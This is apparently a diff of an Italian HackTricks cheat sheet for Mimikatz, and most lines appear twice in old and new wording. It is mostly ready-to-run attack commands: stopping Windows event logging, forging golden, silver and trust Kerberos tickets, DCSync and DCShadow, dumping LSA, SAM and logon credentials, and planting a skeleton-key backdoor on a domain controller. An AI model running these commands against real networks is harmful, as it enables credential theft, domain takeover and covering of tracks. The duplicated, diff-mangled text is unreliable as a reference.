La manomissione dei registri eventi in Mimikatz comporta due azioni principali: cancellare i registri eventi e patchare il servizio Event per prevenire la registrazione di nuovi eventi. Di seguito sono riportati i comandi per eseguire queste azioni:
#### Cancellazione dei log degli eventi
#### Cancellazione dei Registri Eventi
- **Comando**: Questa azione mira a eliminare i log degli eventi, rendendo più difficile tracciare attività malevole.
- Mimikatz non fornisce un comando diretto nella sua documentazione standard per cancellare i log degli eventi direttamente tramite la riga di comando. Tuttavia, la manipolazione dei log degli eventi di solito comporta l'uso di strumenti di sistema o script esterni a Mimikatz per cancellare log specifici (ad esempio, utilizzando PowerShell o Windows Event Viewer).
- **Comando**: Questa azione è mirata a eliminare i registri eventi, rendendo più difficile tracciare attività dannose.
- Mimikatz non fornisce un comando diretto nella sua documentazione standard per cancellare i registri eventi direttamente tramite la sua riga di comando. Tuttavia, la manipolazione dei registri eventi comporta tipicamente l'uso di strumenti di sistema o script al di fuori di Mimikatz per cancellare registri specifici (ad es., utilizzando PowerShell o Windows Event Viewer).
#### Funzionalità sperimentale: Modifica del servizio Eventi
#### Funzione Sperimentale: Patchare il Servizio Event
- **Comando**: `event::drop`
- Questo comando sperimentale è progettato per modificare il comportamento del servizio di registrazione eventi, impedendo efficacemente la registrazione di nuovi eventi.
- Questo comando sperimentale è progettato per modificare il comportamento del Servizio di Registrazione Eventi, impedendo efficacemente la registrazione di nuovi eventi.
- Esempio: `mimikatz "privilege::debug" "event::drop" exit`
- Il comando `privilege::debug` garantisce che Mimikatz operi con i privilegi necessari per modificare i servizi di sistema.
- Il comando `event::drop` modifica quindi il servizio di registrazione eventi.
- Il comando `event::drop` quindi patcha il servizio di registrazione eventi.
### Attacchi ai biglietti Kerberos
### Attacchi ai Ticket Kerberos
### Creazione di un Golden Ticket
Un Golden Ticket consente l'impersonificazione dell'accesso a livello di dominio. Comando chiave e parametri:
Un Golden Ticket consente l'impersonificazione con accesso a livello di dominio. Comando chiave e parametri:
- Comando: `kerberos::golden`
- Parametri:
- `/domain`: Il nome del dominio.
- `/sid`: L'identificatore di sicurezza (SID) del dominio.
- `/sid`: L'Identificatore di Sicurezza (SID) del dominio.
- `/user`: Il nome utente da impersonare.
- `/krbtgt`: L'hash NTLM dell'account di servizio KDC del dominio.
- `/ptt`: Inietta direttamente il biglietto in memoria.
- `/ticket`: Salva il biglietto per un uso successivo.
- `/ptt`: Inietta direttamente il ticket in memoria.
- `/ticket`: Salva il ticket per un uso successivo.
Esempio:
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### Creazione di Silver Ticket
### Creazione del Biglietto Argento
I Silver Ticket concedono l'accesso a servizi specifici. Ecco il comando chiave e i relativi parametri:
I Biglietti Argento concedono accesso a servizi specifici. Comando chiave e parametri:
- Comando: Simile al Golden Ticket ma mira a servizi specifici.
- Comando: Simile al Biglietto d'Oro ma mira a servizi specifici.
- Parametri:
- `/service`: Il servizio da mirare (ad esempio, cifs, http).
- Altri parametri simili al Golden Ticket.
- `/service`: Il servizio da mirare (ad es., cifs, http).
- Altri parametri simili al Biglietto d'Oro.
Esempio:
```bash
@ -92,65 +95,65 @@ mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-12345678
```
### Creazione di Trust Ticket
I Trust Ticket vengono utilizzati per accedere alle risorse tra domini sfruttando le relazioni di trust. Comando chiave e parametri:
I Trust Ticket vengono utilizzati per accedere alle risorse tra domini sfruttando le relazioni di fiducia. Comando chiave e parametri:
- Comando: Simile a Golden Ticket ma per le relazioni di trust.
- Comando: Simile al Golden Ticket ma per le relazioni di fiducia.
- Parametri:
- `/target`: L'FQDN del dominio di destinazione.
- `/rc4`: l'hash NTLM per l'account di trust.
- `/target`: Il FQDN del dominio target.
- `/rc4`: L'hash NTLM per l'account di fiducia.
Esempio:
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
### Comandi Kerberos aggiuntivi
### Comandi Aggiuntivi di Kerberos
- **Elenco dei ticket**:
- **Elenco dei Ticket**:
- Comando: `kerberos::list`
- Elenca tutti i ticket Kerberos per la sessione utente corrente.
- **Passa la cache**:
- **Passa la Cache**:
- Comando: `kerberos::ptc`
- Inietta i ticket Kerberos dai file di cache.
- Esempio: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Passa il ticket**:
- **Passa il Ticket**:
- Comando: `kerberos::ptt`
- Consente di utilizzare un ticket Kerberos in un'altra sessione.
- Esempio: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Pulisci i ticket**:
- **Pulisci i Ticket**:
- Comando: `kerberos::purge`
- Cancella tutti i ticket Kerberos dalla sessione.
- Utile prima di utilizzare comandi di manipolazione dei ticket per evitare conflitti.
### Manipolazione di Active Directory
### Manomissione di Active Directory
- **DCShadow**: Rendi temporaneamente una macchina un DC per la manipolazione degli oggetti AD.
- **DCShadow**: Fai agire temporaneamente una macchina come un DC per la manipolazione degli oggetti AD.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Simula un DC per richiedere dati sulla password.
- **DCSync**: Imita un DC per richiedere dati sulla password.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Accesso alle credenziali
### Accesso alle Credenziali
- **LSADUMP::LSA**: Estrae le credenziali da LSA.
- **LSADUMP::LSA**: Estrai credenziali da LSA.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Si finge un DC utilizzando i dati sulla password di un account computer.
- **LSADUMP::NetSync**: Imita un DC utilizzando i dati della password di un account computer.
- *Nessun comando specifico fornito per NetSync nel contesto originale.*
- **LSADUMP::SAM**: Accede al database SAM locale.
- **LSADUMP::SAM**: Accedi al database SAM locale.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Decifra i segreti memorizzati nel registro.
- **LSADUMP::Secrets**: Decripta segreti memorizzati nel registro.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Imposta un nuovo hash NTLM per un utente.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: Recupera le informazioni di autenticazione della trust.
- **LSADUMP::Trust**: Recupera informazioni di autenticazione di fiducia.
- `mimikatz "lsadump::trust" exit`
### Varie
@ -158,34 +161,34 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- **MISC::Skeleton**: Inietta un backdoor in LSASS su un DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Escalation dei privilegi
### Escalation dei Privilegi
- **PRIVILEGE::Backup**: Acquisisce i diritti di backup.
- **PRIVILEGE::Backup**: Acquisisci diritti di backup.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: Ottiene i privilegi di debug.
- **PRIVILEGE::Debug**: Ottieni privilegi di debug.
- `mimikatz "privilege::debug" exit`
### Dumping delle credenziali
### Dumping delle Credenziali
- **SEKURLSA::LogonPasswords**: Mostra le credenziali degli utenti connessi.
- **SEKURLSA::LogonPasswords**: Mostra le credenziali per gli utenti connessi.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: Estrae i ticket Kerberos dalla memoria.
- **SEKURLSA::Tickets**: Estrai ticket Kerberos dalla memoria.
- `mimikatz "sekurlsa::tickets /export" exit`
### Manipolazione di SID e token
### Manipolazione di SID e Token
- **SID::add/modify**: Modifica SID e SIDHistory.
- **SID::add/modify**: Cambia SID e SIDHistory.
- Aggiungi: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Modifica: *Nessun comando specifico per la modifica nel contesto originale.*
- Modifica: *Nessun comando specifico per modificare nel contesto originale.*
- **TOKEN::Elevate**: Si finge token.
- **TOKEN::Elevate**: Imita i token.
- `mimikatz "token::elevate /domainadmin" exit`
### Servizi terminal
### Servizi Terminal
- **TS::MultiRDP**: Consente sessioni RDP multiple.
- **TS::MultiRDP**: Consenti sessioni RDP multiple.
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: Elenca le sessioni TS/RDP.
@ -193,18 +196,21 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
### Vault
- Estrae le password da Windows Vault.
- Estrai password da Windows Vault.
- `mimikatz "vault::cred /patch" exit`
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}